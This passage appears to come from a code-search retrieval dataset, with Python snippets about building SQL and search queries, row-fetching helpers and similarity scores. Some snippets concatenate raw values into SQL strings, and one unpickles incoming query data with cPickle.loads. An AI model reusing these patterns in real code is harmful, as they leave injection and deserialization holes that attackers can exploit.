{\\\"match\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val[0]}})\\n elif key in self.es_date_keys:\\n filter_list.append(\\n {\\\"range\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val}})\\n elif \\\":\\\" in val[0]:\\n #for handling queries like dd_dct=gte:1\\n range_val = val[0].split(\\\":\\\")\\n filter_list.append({\\\"range\\\": {\\\".\\\".join(key.split(\\\"_\\\")): {\\n range_val[0]: int(range_val[1])}}})\\n else:\\n filter_list.append(\\n {\\\"terms\\\": {\\\".\\\".join(key.split(\\\"_\\\")): val}})\\n return query_list, filter_list\",\n \"def _query(self, with_clause='', fields={}, groupby='', from_clause=''):\\n fields['woo_instance_id'] = \\\", s.woo_instance_id as woo_instance_id\\\"\\n groupby += ', s.woo_instance_id'\\n return super(SaleReport, self)._query(with_clause, fields, groupby, from_clause)\",\n \"def sql_dict_to_str(self, result, tables):\\n table = tables[result['sql']['from'][0]]\\n header_names = table['header_name'] + ['空列']\\n header_ids = table['header_id'] + ['null']\\n sql = result['sql']\\n\\n str_cond_list, sql_cond_list = [], []\\n where_conds, orderby_conds = [], []\\n for cond in sql['conds']:\\n if cond[1] in [4, 5]:\\n orderby_conds.append(cond)\\n else:\\n where_conds.append(cond)\\n for cond in where_conds:\\n header_name = header_names[cond[0]]\\n if header_name == '空列':\\n continue\\n header_id = '`%s`.`%s`' % (table['table_id'], header_ids[cond[0]])\\n op = self.cond_ops[cond[1]]\\n value = cond[2]\\n str_cond_list.append('( ' + header_name + ' ' + op + ' \\\"' + value\\n + '\\\" )')\\n sql_cond_list.append('( ' + header_id + ' ' + op + ' \\\"' + value\\n + '\\\" )')\\n cond_str = ' ' + self.cond_conn_ops[sql['cond_conn_op']] + ' '\\n str_where_conds = cond_str.join(str_cond_list)\\n sql_where_conds = cond_str.join(sql_cond_list)\\n if len(orderby_conds) != 0:\\n str_orderby_column = ', '.join(\\n [header_names[cond[0]] for cond in orderby_conds])\\n sql_orderby_column = ', '.join([\\n '`%s`.`%s`' % (table['table_id'], header_ids[cond[0]])\\n for cond in orderby_conds\\n ])\\n str_orderby_op = self.cond_ops[orderby_conds[0][1]]\\n str_orderby = '%s %s' % (str_orderby_column, str_orderby_op)\\n sql_orderby = '%s %s' % (sql_orderby_column, str_orderby_op)\\n limit_key = orderby_conds[0][2]\\n is_in, limit_num = False, -1\\n for key in self.limit_dict:\\n if key in limit_key:\\n is_in = True\\n limit_num = self.limit_dict[key]\\n break\\n if is_in:\\n str_orderby += ' LIMIT %d' % (limit_num)\\n sql_orderby += ' LIMIT %d' % (limit_num)\\n # post process null column\\n for idx, sel in enumerate(sql['sel']):\\n if sel == len(header_ids) - 1:\\n primary_sel = 0\\n for index, attrib in enumerate(table['header_attribute']):\\n if attrib == 'PRIMARY':\\n primary_sel = index\\n break\\n if primary_sel not in sql['sel']:\\n sql['sel'][idx] = primary_sel\\n else:\\n del sql['sel'][idx]\\n else:\\n str_orderby = ''\\n\\n str_sel_list, sql_sel_list = [], []\\n for idx, sel in enumerate(sql['sel']):\\n header_name = header_names[sel]\\n header_id = '`%s`.`%s`' % (table['table_id'], header_ids[sel])\\n if sql['agg'][idx] == 0:\\n str_sel_list.append(header_name)\\n sql_sel_list.append(header_id)\\n else:\\n str_sel_list.append(self.agg_ops[sql['agg'][idx]] + '('\\n + header_name + ')')\\n sql_sel_list.append(self.agg_ops[sql['agg'][idx]] + '('\\n + header_id + ')')\\n\\n if len(str_cond_list) != 0 and len(str_orderby) != 0:\\n final_str = 'SELECT %s FROM %s WHERE %s ORDER BY %s' % (\\n ', '.join(str_sel_list), table['table_name'], str_where_conds,\\n str_orderby)\\n final_sql = 'SELECT %s FROM `%s` WHERE %s ORDER BY %s' % (\\n ', '.join(sql_sel_list), table['table_id'], sql_where_conds,\\n sql_orderby)\\n elif len(str_cond_list) != 0:\\n final_str = 'SELECT %s FROM %s WHERE %s' % (\\n ', '.join(str_sel_list), table['table_name'], str_where_conds)\\n final_sql = 'SELECT %s FROM `%s` WHERE %s' % (\\n ', '.join(sql_sel_list), table['table_id'], sql_where_conds)\\n elif len(str_orderby) != 0:\\n final_str = 'SELECT %s FROM %s ORDER BY %s' % (\\n ', '.join(str_sel_list), table['table_name'], str_orderby)\\n final_sql = 'SELECT %s FROM `%s` ORDER BY %s' % (\\n ', '.join(sql_sel_list), table['table_id'], sql_orderby)\\n else:\\n final_str = 'SELECT %s FROM %s' % (', '.join(str_sel_list),\\n table['table_name'])\\n final_sql = 'SELECT %s FROM `%s`' % (', '.join(sql_sel_list),\\n table['table_id'])\\n\\n sql = SQLQuery(\\n string=final_str, query=final_sql, sql_result=result['sql'])\\n\\n return sql\",\n \"def __str__(self):\\n \\n return \\\"#%s %s %s [%s]\\\" % (self.dbid, self.title, self.query, self.group)\",\n \"def print_query(query: Query) -> str:\\n regex = re.compile(r\\\":(?P<name>\\\\w+)\\\")\\n params = query.statement.compile().params\\n sql = regex.sub(r\\\"'{\\\\g<name>}'\\\", str(query.statement)).format(**params)\\n from flexmeasures.data.config import db\\n\\n print(f\\\"\\\\nPrinting SQLAlchemy query to database {db.engine.url.database}:\\\\n\\\\n\\\")\\n print(sql)\\n return sql\",\n \"def query(self,query):\\n if self.data is not None:\\n qData = cPickle.loads(query)\\n results = self.handleQuery(qData)\\n qResults = cPickle.dumps(results)\\n else:\\n results = None\\n qResults = cPickle.dumps(results)\\n return qResults\",\n \"def query(self, search, query):\\n if query:\\n return search.query(\\n \\\"simple_query_string\\\",\\n query=query,\\n fields=self.fields,\\n default_operator='and',\\n lenient=True\\n )\\n return search\",\n \"def build_query_part(self, input_data, table_fields_types, query_part):\\n\\n\\t\\tresult_query = '('\\t\\t\\n\\n\\t\\tfor index in xrange(len(input_data)):\\n\\n\\t\\t\\tif query_part == 1:\\n\\t\\t\\t\\tproper_value = '\\\"' + input_data[index] + '\\\"'\\n\\t\\t\\t\\t\\n\\t\\t\\tif query_part == 2:\\n\\t\\t\\t\\tif \\\"nextval\\\" not in input_data[index]:\\n\\t\\t\\t\\t\\tproper_value = self.escapeinput_data_for_sql(input_data[index], table_fields_types[index])\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tproper_value = input_data[index]\\n\\n\\t\\t\\t\\t\\n\\t\\t\\tresult_query = result_query + proper_value + ','\\n\\n\\t\\t# if query_part == 2:\\n\\t\\t# \\tresult_query = result_query + '\\\\'\\\\'' + ','\\n\\n\\t\\tresult_query = result_query[:len(result_query)-1]\\n\\t\\tresult_query = result_query + ')'\\n\\n\\t\\treturn result_query\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.74506533","0.72618586","0.68690604","0.6727901","0.6704122","0.66704446","0.66589046","0.65477747","0.6473235","0.64644617","0.6462342","0.6396681","0.6358946","0.6354206","0.6349587","0.6325434","0.63069355","0.6219109","0.6207746","0.6207217","0.6203376","0.6176611","0.61747825","0.615485","0.61540985","0.6141248","0.60848844","0.6083661","0.60699356","0.60550433","0.6028004","0.60071063","0.60003597","0.5998202","0.59927726","0.5965937","0.5951043","0.5918552","0.5886695","0.5873904","0.58686656","0.5865516","0.5857554","0.58433366","0.5830964","0.58157766","0.58004445","0.579246","0.57829386","0.5782717","0.5774617","0.5755953","0.5752204","0.5746305","0.57439697","0.572429","0.5714289","0.5713333","0.57119304","0.5711259","0.57080543","0.5707659","0.57022834","0.5698068","0.56923723","0.5672199","0.56682175","0.5663639","0.56469035","0.5645235","0.5637361","0.5632584","0.5629709","0.5629709","0.56156003","0.56130683","0.55989176","0.55931056","0.55901283","0.5588156","0.5565531","0.5558913","0.5558913","0.5558913","0.55547994","0.5552438","0.5549199","0.5548744","0.55451626","0.5543133","0.55410886","0.55391896","0.5531938","0.55237657","0.55195045","0.5519086","0.5514823","0.55132574","0.55083716","0.5506961","0.5505997"],"string":"[\n \"0.74506533\",\n \"0.72618586\",\n \"0.68690604\",\n \"0.6727901\",\n \"0.6704122\",\n \"0.66704446\",\n \"0.66589046\",\n \"0.65477747\",\n \"0.6473235\",\n \"0.64644617\",\n \"0.6462342\",\n \"0.6396681\",\n \"0.6358946\",\n \"0.6354206\",\n \"0.6349587\",\n \"0.6325434\",\n \"0.63069355\",\n \"0.6219109\",\n \"0.6207746\",\n \"0.6207217\",\n \"0.6203376\",\n \"0.6176611\",\n \"0.61747825\",\n \"0.615485\",\n \"0.61540985\",\n \"0.6141248\",\n \"0.60848844\",\n \"0.6083661\",\n \"0.60699356\",\n \"0.60550433\",\n \"0.6028004\",\n \"0.60071063\",\n \"0.60003597\",\n \"0.5998202\",\n \"0.59927726\",\n \"0.5965937\",\n \"0.5951043\",\n \"0.5918552\",\n \"0.5886695\",\n \"0.5873904\",\n \"0.58686656\",\n \"0.5865516\",\n \"0.5857554\",\n \"0.58433366\",\n \"0.5830964\",\n \"0.58157766\",\n \"0.58004445\",\n \"0.579246\",\n \"0.57829386\",\n \"0.5782717\",\n \"0.5774617\",\n \"0.5755953\",\n \"0.5752204\",\n \"0.5746305\",\n \"0.57439697\",\n \"0.572429\",\n \"0.5714289\",\n \"0.5713333\",\n \"0.57119304\",\n \"0.5711259\",\n \"0.57080543\",\n \"0.5707659\",\n \"0.57022834\",\n \"0.5698068\",\n \"0.56923723\",\n \"0.5672199\",\n \"0.56682175\",\n \"0.5663639\",\n \"0.56469035\",\n \"0.5645235\",\n \"0.5637361\",\n \"0.5632584\",\n \"0.5629709\",\n \"0.5629709\",\n \"0.56156003\",\n \"0.56130683\",\n \"0.55989176\",\n \"0.55931056\",\n \"0.55901283\",\n \"0.5588156\",\n \"0.5565531\",\n \"0.5558913\",\n \"0.5558913\",\n \"0.5558913\",\n \"0.55547994\",\n \"0.5552438\",\n \"0.5549199\",\n \"0.5548744\",\n \"0.55451626\",\n \"0.5543133\",\n \"0.55410886\",\n \"0.55391896\",\n \"0.5531938\",\n \"0.55237657\",\n \"0.55195045\",\n \"0.5519086\",\n \"0.5514823\",\n \"0.55132574\",\n \"0.55083716\",\n \"0.5506961\",\n \"0.5505997\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":82187,"cells":{"query":{"kind":"string","value":"(list) > (str) Fetching values from the given row(tuple) that are presented in form of list."},"document":{"kind":"string","value":"def fetch_row_into_str(self, row):\n\n\t\tstr_row = \"\"\n\t\tfor value in row:\t\t\n\t\t\tstr_row = str_row + str(value) + ' | \\t\\t'\n\t\treturn str_row[:-5]"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def getRow(self, row):\n returnvalue = list()\n for item in self._value[row]:\n returnvalue.append(item)\n return returnvalue","def _get_xls_row_vals(self, row):\n return [v.value for v in row]","def values(table, row, columns):\n\n values = []\n for x, column in enumerate(columns):\n # Get value\n value = row[x]\n\n if table[column].startswith(\"INTEGER\"):\n values.append(int(value) if value else 0)\n elif table[column] == \"BOOLEAN\":\n values.append(1 if value else 0)\n elif table[column] == \"TEXT\":\n # Clean empty text and replace with None\n values.append(value if value and len(value.strip()) > 0 else None)\n else:\n values.append(value)\n\n return values","def get_values(self, col) :\n\n if col not in self.cols :\n raise Exception('Column %s not in data' % col)\n\n select_sql = 'SELECT \"%s\" FROM \"%s\" ORDER BY __ROWID ASC' % (col, self.name)\n cur = self.con.cursor()\n cur.execute(select_sql)\n vs = cur.fetchall()\n return [v[0] for v in vs]","def fetchall(self):\r\n debug.write(\"[SourceRPG] Handling fetchall\", 2)\r\n trueValues = []\r\n for value in self.cursor.fetchall():\r\n if isinstance(value, tuple):\r\n if len(value) > 1:\r\n tempValues = []\r\n for tempValue in value:\r\n if isinstance(tempValue, long):\r\n tempValue = int(tempValue)\r\n tempValues.append(tempValue)\r\n trueValues.append(tempValues)\r\n else:\r\n if isinstance(value[0], long):\r\n trueValues.append(int(value[0]))\r\n else:\r\n trueValues.append(value[0])\r\n else:\r\n if isinstance(value, long):\r\n value = int(value)\r\n trueValues.append(value)\r\n for value in trueValues:\r\n debug.write(\"Result: %s\" % value, 4)\r\n debug.write(\"[SourceRPG] Returning the result\", 2)\r\n return trueValues","def ConvertRow(self, row):\n i = 0\n data = []\n for entry in row['f']:\n data.append(self.Convert(entry['v'], self.schema[i]))\n i += 1\n return tuple(data)","def column_values(table: list[dict[str, str]], column: str) -> list[str]:\n result: list[str] = []\n for row in table:\n item: str = row[column]\n result.append(item)\n\n return result","def column_values(table: list[dict[str, str]], column: str) -> list[str]:\n result: list[str] = []\n for row in table:\n item: str = row[column]\n result.append(item)\n\n return result","def create_list(row):\n name = row['Name']\n cd = row['Condition description']\n br0 = row['birad[0]']\n br1 = row['birad[1]']\n br2 = row['birad[2]']\n br3 = row['birad[3]']\n br4 = row['birad[4]']\n br5 = row['birad[5]']\n br6 = row['birad[6]']\n rm = row['Relevant modalities']\n rf = row['Relevant findings']\n uf = row['Unique findings']\n ai = row['Additional info']\n params = row['Parameters']\n try:\n t = row['Typical']\n except:\n t = ''\n try:\n p = row['Possible']\n except:\n p = ''\n try:\n a = row['Atypical']\n except:\n a = ''\n try:\n gen = row['None']\n except:\n gen = ''\n try:\n u = row['Unrelated']\n except:\n u = ''\n try:\n pat = row['Pathogenomonic']\n except:\n pat = ''\n try:\n n = row['Negative']\n except:\n n = ''\n try:\n i = row['Ignore']\n except:\n i = ''\n try:\n notes = row['Notes']\n except:\n notes = ''\n ac = row['Associated conditions']\n dd = row['Differential diagnosis']\n return [name, cd, br0, br1, br2, br3, br4, br5, br6, rm, rf, uf, ai, params, t, p, a, gen, u, pat, n, i, ac, dd, notes]","def column_values(table: list[dict[str, str]], column_name: str) -> list[str]:\n column_values: list[str] = []\n for row in table:\n item: str = row[column_name]\n column_values.append(item)\n return column_values","def column_values(table: list[dict[str, str]], column: str) -> list[str]:\n values: list[str] = []\n for row in table:\n values.append(row[column])\n return values","def _extract(self, row):\n if not self._head:\n self._head = self._create_head(row)\n if self._args.head:\n return\n\n if 'extract' not in self._state:\n self._state['extract'] = self._replace_fields(self._args.extract)\n\n r = list(map(self._convert, row))\n return eval(self._state['extract'])","def _convert_row(self, row) :\n\n self.row_id += 1\n data = [self.row_id]\n\n if type(row) == type({}) :\n data.extend(row.get(col, None) for col in self.cols[1:])\n elif type(row) in [type([]), type(())] :\n data.extend(row)\n elif type(row) == RowReference :\n data.extend(row.values())\n else :\n raise Exception(\n 'Don''t know how to add row from: %s ' % str(row)\n )\n\n if len(data) != len(self.cols) :\n raise Exception(\n 'Wrong number of values for new row with cols %s: %s' % \n (str(self.cols), str(data))\n \n )\n\n return data","def getRowVals(self, row=None, include_nones=None): # Returns: row values\n if row is None or row < 1 or row > self.nRow:\n raise SelectError(f\"bad row number :{row}\") \n \n vals = []\n for ci in range(self.nCol):\n col = ci + 1\n val = self.getCellVal(row=row, col=col)\n if include_nones or not self.isEmpty(val):\n vals.append(val)\n return vals","def getStringRow(self, int: int) -> typing.List[str]:\n ...","def ex_list(data):\n return tuple(data)","def get_table_row(\n self, table: Table, row: Index, as_list: bool = False\n ) -> Union[Dict, List]:\n self._requires_table(table)\n values = table.get_row(row, as_list=as_list)\n notebook_print(text=values)\n return values","def getValuesFromField(self, table_fullpath, where_clause, field):\r\n \r\n try:\r\n rows = arcpy.SearchCursor(table_fullpath, where_clause, \"\", field, \"\")\r\n return [str(row.getValue(field)) for row in rows]\r\n finally:\r\n del rows","def select_string(self, rows: List[Row], column: StringColumn) -> List[str]:\n return [str(row.values[column.name]) for row in rows if row.values[column.name] is not None]","def getSentenceList(row, field):\n\n return list(row[field].sents)","def __parseCsvRow(row):\r\n \r\n resultRow = []\r\n for item in row:\r\n if type(item) is str:\r\n if \".\" in item:\r\n try:\r\n f = float(item)\r\n resultRow.append(f)\r\n except ValueError:\r\n resultRow.append(item)\r\n else:\r\n try:\r\n i = int(item)\r\n resultRow.append(i)\r\n except ValueError:\r\n resultRow.append(item)\r\n else:\r\n resultRow.append(item)\r\n return resultRow","def obtenerValoresItem(self,row):\n values=[]\n for col in range(0,self.tableFactura.columnCount()):\n values.append(self.tableFactura.item(row,col).text())\n return values","def get_rows(listings, cols):\n rows = []\n # Loop over each listing\n for child in listings:\n row = []\n # For each column that has been specified\n for col in cols:\n # Extract the element using the column's xpath\n value = child.xpath(col['xpath'])\n if col['vtype'] == 'scalar':\n # if it's a scalar, just append it\n if type(value) != lxml.etree._ElementUnicodeResult and \\\n type(value) != lxml.etree._ElementStringResult and \\\n type(value) != float and \\\n type(value) != int:\n raise TypeError(\"vtype doesn't match value. col name: \" +col['name'] + \" col vtype: \" + col['vtype'] + \" value: \" + str(type(value)))\n row.append(value if value != '' else np.nan)\n elif col['vtype'] == 'list':\n # if it's a list of sub nodes, grab them, join them with a comma,\n # then insert as a string\n if type(value) != list:\n raise TypeError(\"vtype doesn't match value. col name: \" +col['name'] + \" col vtype: \" + col['vtype'] + \" value: \" + str(type(value)))\n row.append(\",\".join(value) if len(value) > 0 else np.nan)\n\n if(len(row) > 0):\n rows.append(row)\n return rows","def value_in(table_rows, values=[], col_name=\"\", col_num=-1):\n key = col_name\n if(key==\"\"):\n key = table_rows[0].keys[col_num]\n rst = True\n lst = []\n for i in range(len(table_rows)):\n value = table_rows[i].get_d_value(key)\n if(value not in values):\n rst = False\n lst.append(\"(col:{0},row:{1}:value:{2}\".format(\n key, i, value\n ))\n return rst,\",\".join(lst)","def get_list(\n self,\n row='',\n col='',\n entry='',\n flat=False\n ):\n # if row is chosen\n if row and not col:\n # first try to return what's in the cache\n try:\n return self._cache[row,entry,flat]\n except:\n pass\n\n # otherwise, start searching\n if row not in self.rows:\n print(\"[!] The row you selected is not available.\")\n else:\n # first, get the row ids\n data = self._array[self._idx[row]]\n\n # if only row is chosen, return the ids\n if not entry:\n\n # check for flat representation\n if flat:\n entries = [i for i in data.flatten() if i != 0]\n else:\n entries = data.tolist()\n\n # if row and entry-type is chosen, return the entry-type\n else:\n # get the index for the entry in the data dictionary\n idx = self._header[entry]\n \n if flat:\n # get the entries\n entries = [self[i][idx] for i in \n data.flatten() if i != 0]\n else:\n # get the entries\n entries = data.tolist()\n for i,line in enumerate(data):\n for j,cell in enumerate(line):\n if cell != 0:\n entries[i][j] = self[cell][idx]\n \n # append entries to cache\n self._cache[row,entry,flat] = entries\n\n return entries\n\n # if column is chosen\n elif col and not row:\n # try to return the cache\n try:\n return self._cache[col,entry,flat]\n except:\n pass\n\n if col not in self.cols:\n print(\"[!] The column you selected is not available!\")\n else:\n data = self._array[:,self.cols.index(col)]\n \n if not entry:\n if flat:\n entries = [i for i in data if i != 0]\n else:\n entries = data.tolist()\n else:\n idx = self._header[entry]\n\n if flat:\n entries = [self[i][idx] for i in data if i != 0]\n\n else:\n entries = []\n for i in data:\n if i != 0:\n entries.append(self[i][idx])\n else:\n entries.append(0)\n \n self._cache[col,entry,flat] = entries\n \n return entries\n \n elif row and col:\n print(\"[!] You should specify only a value for row or for col!\")\n else:\n print(\"[!] Neither rows nor columns are selected!\")","def tuple_to_list(tup):\n return [element for element in tup]","def column_to_list(column):\n column = column.tolist()\n column_string = \"\"\n for i in range(len(column)):\n current_row = column[i]\n try:\n column_string = column_string + current_row + \" \"\n except:\n pass\n column_list = column_string.split()\n return column_list","def get_csv_tuples() -> list[tuple[str, ...]]:\n sheet_response = request.urlopen(READ_DATA_SHEET_URL)\n encoding = sheet_response.headers.get_content_charset('utf-8')\n sheet_lines = sheet_response.read().decode(encoding).split(\"\\n\")\n return [tuple(t) for t in csv.reader(sheet_lines)]","def _get_values(uprow, types):\n tmp_uprow = {k: _for_pgsql(v, types[k]) for k, v in uprow.items()}\n mappable = \",\".join([\"{\" + str(k) + \"}\" for k in uprow.keys()])\n values = mappable.format(**tmp_uprow)\n return values","def parse_row(row):\n station_id = parse_substation_code(row)\n date_and_time = parse_date_and_time(row)\n depth = parse_depth(row)\n quality_code = parse_quality_code(row)\n value = parse_value(row)\n return [station_id, date_and_time, depth, quality_code, value]","def as_list(df: pandas.DataFrame, row=-1) -> list:\n if df is None:\n return []\n if row >= 0:\n rec = []\n for col in range(0, 13):\n rec.append(df.iat[row, col])\n return rec\n recs = []\n for row in range(df.shape[0]):\n recs.append(as_list(df, row=row))","def extractRow(database: str, table: str, columns: list) -> list:\n\n bd = _database(database)\n\n if bd:\n\n tb = _table(database, table)\n\n if tb:\n\n mode = tb[\"modo\"]\n\n val = -1\n\n if mode == \"avl\":\n val = avl.extractRow(database, table, columns)\n\n elif mode == \"b\":\n val = b.extractRow(database, table, columns)\n\n elif mode == \"bplus\":\n val = bplus.extractRow(database, table, columns)\n\n elif mode == \"hash\":\n val = hash.extractRow(database, table, columns)\n\n elif mode == \"isam\":\n val = isam.extractRow(database, table, columns)\n\n elif mode == \"json\":\n val = json.extractRow(database, table, columns)\n\n elif mode == \"dict\":\n val = dict.extractRow(database, table, columns)\n\n return val\n\n else:\n return []\n\n else:\n return []","def parse_rows(self, rows):\r\n rows = [\r\n (row_id, parse_date(created), student_module_id)\r\n for row_id, created, student_module_id in rows\r\n ]\r\n return rows","def get_data(cur, table, col):\n cur.execute('SELECT {} FROM {}'.format(col, table))\n d = cur.fetchall()\n\n data = []\n for dat in d:\n data.append(dat[0])\n\n return data","def _parse_tuple(self, line):\n elements = line[1:-1].split(\",\\t\")\n if len(elements) == len(self.description):\n return tuple(\n [\n pythonize.convert(element.strip(), description[1])\n for (element, description) in zip(elements, self.description)\n ]\n )\n else:\n self._exception_handler(\n InterfaceError, \"length of row doesn't match header\"\n )","def _select(self, row):\n if not self._head:\n self._head = self._create_head(row)\n\n if 'indices' not in self._state:\n fields = self._args.fields.split()\n self._state['indices'] = [self._get_index(f) for f in fields]\n\n return [row[i] for i in self._state['indices']]","async def fetch_row(self, query: str, args: Optional[Iterable]=None) -> List:\n stats.inc('queries', 'SQL')\n async with self.pool.acquire() as conn:\n async with conn.cursor() as cur:\n await cur.execute(query, args)\n ret = await cur.fetchone()\n return ret","def process_row(self, row: Union[List[dict], dict]) -> List[dict]:\n rows = listify(row)\n rows = self.do_pre_row(rows=rows)\n row_return = [{\"internal_axon_id\": row[\"internal_axon_id\"]} for row in rows]\n rows = self.do_row(rows=rows)\n self.write_rows(rows=rows)\n del rows, row\n return row_return","def get_value_list(self, insupdel=0):\n #NOTE: statement = [record, {...}]\n result = []\n if insupdel == StatementType.INSERT:\n statements = self.statements_insert\n elif insupdel == StatementType.UPDATE:\n statements = self.statements_update\n elif insupdel == StatementType.DELETE:\n statements = self.statements_delete\n for statement in statements:\n result.append([key for key, val in statement[1].items()])\n return result","def expand_row(\n row: Sequence[Union[str, Sequence[Union[str, Sequence[str]]]]]\n) -> List[List[str]]:\n elems_as_lists = []\n for elem in row:\n if isinstance(elem, list):\n elems_as_lists.append(elem)\n else:\n elems_as_lists.append([elem])\n aligned = [list(i) for i in zip_longest(*elems_as_lists, fillvalue=\"\")]\n return aligned","def read(self, *args):\n return_values = [[] for _ in range(len(args)+2)]\n for row in self.iter_rows(*args):\n for return_array, value in zip(return_values, row):\n return_array.append(value)\n\n return [np.array(x) for x in return_values]","def find_all_ids(rows):\r\n lines = []\r\n road_list=['ML']\r\n# road_list=['ML','HV', 'FR']\r\n for row in rows:\r\n strings=string.split(row,'\\n')[1:]\r\n for stringI in strings:\r\n tokens=string.split(stringI,'\\t')\r\n if len(tokens)>1:\r\n if tokens[11] in road_list:\r\n try:\r\n lines.append([int(tokens[0]), float(tokens[7]), tokens[2], [float(tokens[8]), float(tokens[9])], int(tokens[1])])\r\n except ValueError:\r\n print 'bad tokens: ', tokens\r\n continue\r\n print lines\r\n return lines","def get_row(A,r=0):\n\tA = zip(*A)\n\treturn list(A[r])","def get_row_values(sheet: xlrd.sheet.Sheet, rowx: int,\n datemode: int = DEFAULT_DATEMODE) -> tuple:\n row = sheet.row(rowx)\n values = (Worksheet.cell_to_value(cell, datemode) for cell in row)\n return tuple(values)","def _add_from_list(self, row) :\n\n data = [0]\n data.extend(row[:len(self.cols)-1])\n cols = self.cols[:len(data)]\n self._insert_internal(cols, data)","def get_description_from_row(row):\n return [\n (\n name, # name\n get_type(value), # type_code\n None, # [display_size]\n None, # [internal_size]\n None, # [precision]\n None, # [scale]\n get_type(value) == Type.STRING, # [null_ok]\n )\n for name, value in row.items()\n ]","def values(self):\n return [row.values for row in self]","def rows_to_list(records):\n raw_list = []\n for record in records:\n items = record.items()\n raw_list.append({i[0]: i[1].rstrip() if type(\n i[1]) == str else i[1] for i in items})\n\n # Process data for compounding flag to be boolean since SQLite does not have a boolean type\n processed_list = []\n for row in raw_list:\n if 'compounding_flag' in row:\n if row['compounding_flag'] == '1':\n row['compounding_flag'] = True\n else:\n row['compounding_flag'] = False\n processed_list.append(row)\n\n # If processed list is empty, no processing was done, just assign raw list\n if not processed_list:\n processed_list = raw_list\n\n return processed_list","def get_row(line_contents, column_names):\n\n row = []\n\n for column_name in column_names:\n\n line_value = line_contents[column_name]\n\n if isinstance(line_value, unicode):\n\n row.append('{0}'.format(line_value.encode('utf-8')))\n\n elif line_value is not None:\n\n row.append('{0}'.format(line_value))\n\n else:\n\n row.append('')\n\n return row","def rows_from_data (data):\n return data.tolist() # use numpy.ndarray conversion function","def construct_list(cursor):\n header = [h[0] for h in cursor.description]\n data = cursor.fetchall()\n return header, data","def get_data(num_cols, num_rows, delimiter=',', quote_strings=False):\n generators = [\n bool_generator, # boolean\n integer_generator, # tinyint\n integer_generator, # smallint\n integer_generator, # int\n integer_generator, # bigint\n floating_point_generator, # float\n floating_point_generator, # double\n quote(integer_generator) if quote_strings else integer_generator, # string\n ]\n # Create a generator instance for each column, cycling through the different types\n iter = itertools.cycle(generators)\n column_generators = [next(iter)() for i in range(num_cols)]\n\n # Populate each row using column_generators\n rows = []\n for i in range(num_rows):\n vals = [next(gen) for gen in column_generators]\n rows.append(delimiter.join(vals))\n return rows","def stmt2list(self, stmt):\n temp = ['%s\\n' % line for line in stmt.split('\\n')]\n return temp","def rows(self):\n return list(self)","def stringify_list(rows, separator='\\t'):\n return (separator.join(toolz.map(text_type, row)) for row in rows)","def filter(self, row):\r\n return list(itertools.compress(row, self.selectors))","def getSq3Vals(self, row=None, col=None):\n if row is None or row < 1 or row > self.nRow:\n raise SelectError(f\"bad row {row}\")\n \n if col is None or col < 1 or col > self.nCol:\n raise SelectError(f\"bad col {col}\")\n \n sq3_vals = []\n first_row = 1 + self.nSubRow*int((row-1)/self.nSubRow)\n first_col = 1 + self.nSubCol*int((col-1)/self.nSubCol)\n for ir in range(self.nSubRow):\n for ic in range(self.nSubCol):\n r = first_row + ir\n c = first_col + ic\n val = self.getCellVal(r, c)\n if not self.isEmpty(val): # Assumes no duplicates\n sq3_vals.append(val)\n\n \n if SlTrace.trace(\"any\"):\n sq3_vals_strs = list(map(str, sq3_vals))\n SlTrace.lg(f\"getSq3Vals(row={row}, col={col}) = \"\n + \", \".join(sq3_vals_strs)) \n return sq3_vals","def call_table(conn, table):\r\n cursor = conn.cursor()\r\n values_list = []\r\n header_list = get_header(conn, table) # list with table header values\r\n sql = f\"SELECT * FROM {table}\"\r\n cursor.execute(sql)\r\n for value in cursor.fetchall(): # iterates over list of tuples\r\n value_dict = dict() # dictionary to store each row values. keys = column headers, value = respective row value\r\n for index, c_header in enumerate(header_list):\r\n value_dict[f\"{c_header}\"] = value[index]\r\n values_list.append(value_dict)\r\n return values_list","def read(self,s,v):\n self.cur.execute(s,v)\n data = self.cur.fetchall()\n return data","def get_list_from_child_table(child_lines: list, field: str):\n return list(map(lambda child_line: child_line.get(field), child_lines))","def test_convert_list_of_lists_to_teradata_rows():\n data = [('value1', 2, 3), ('value2', 5, 6)]\n columns = ['str_col', 'int_col_1', 'int_col_2']\n\n output = row_handling.convert_list_of_lists_to_teradata_rows(data, columns)\n\n assert output[1]['int_col_2'] == 6","def select(self, table_name: str, row_filter: dict) -> list:\n sql = 'SELECT * FROM ' + table_name + ' WHERE '\n for key, value in row_filter.items():\n if type(value) is tuple:\n sql += key + ' '\n sql += value[0] + ' '\n sql += \"'\" + value[1] + \"'\"\n elif type(value) == str:\n sql += key + ' = '\n sql += \"'\" + value + \"'\"\n elif value is None:\n sql += key + ' ISNULL '\n else:\n sql += key + ' = '\n sql += str(value)\n if not key == list(row_filter.keys())[-1]:\n sql += ' AND '\n return self.cursor.execute(sql).fetchall()","def get_string_list(self, column):\r\n tempList = QStringList()\r\n result = QtSql.QSqlQuery('''SELECT DISTINCT %s FROM presentations''' % column)\r\n while result.next():\r\n tempList.append(result.value(0).toString())\r\n return tempList","def get_content(header, row):\n # print 'row',row\n content = row[0:]\n result = []\n for h in header:\n # print 'ts',h\n result.append([h[0], float(content[h[1]])])\n # print result\n return result","def test_map_reduce_row_list(self):\n outfile = cStringIO.StringIO()\n var_order = [2,1,0]\n\n \n # Write out in the order 2, 1, 0. In a normal program those constants\n # would come from an enum indicating the order in which the fields\n # appear in schema\n\n aggregator = lra.LineRawHandleAggregator(outfile, var_order = var_order)\n\n rows = [{0: 'world', 1: 'there', 2: 'hello'},\n {0: 'good', 1: 'is', 2: 'this'}]\n \n\n return_val = aggregator.map_reduce_row_list(rows)\n\n self.assertIsNone(return_val)\n self.assertEqual(outfile.getvalue(),\n 'INSERT\\nhello\\nthere\\nworld\\nENDINSERT\\n'\n 'INSERT\\nthis\\nis\\ngood\\nENDINSERT\\n')","def get_rows(self) -> List[List[str]]:\n return self.content","def rows(self) -> java.util.Collection:\n ...","def column_to_list(data, index):\n return [line[index] for line in data]","def get_text_data(db, table, col):\n con = lite.connect(db)\n with con:\n cur = con.cursor()\n 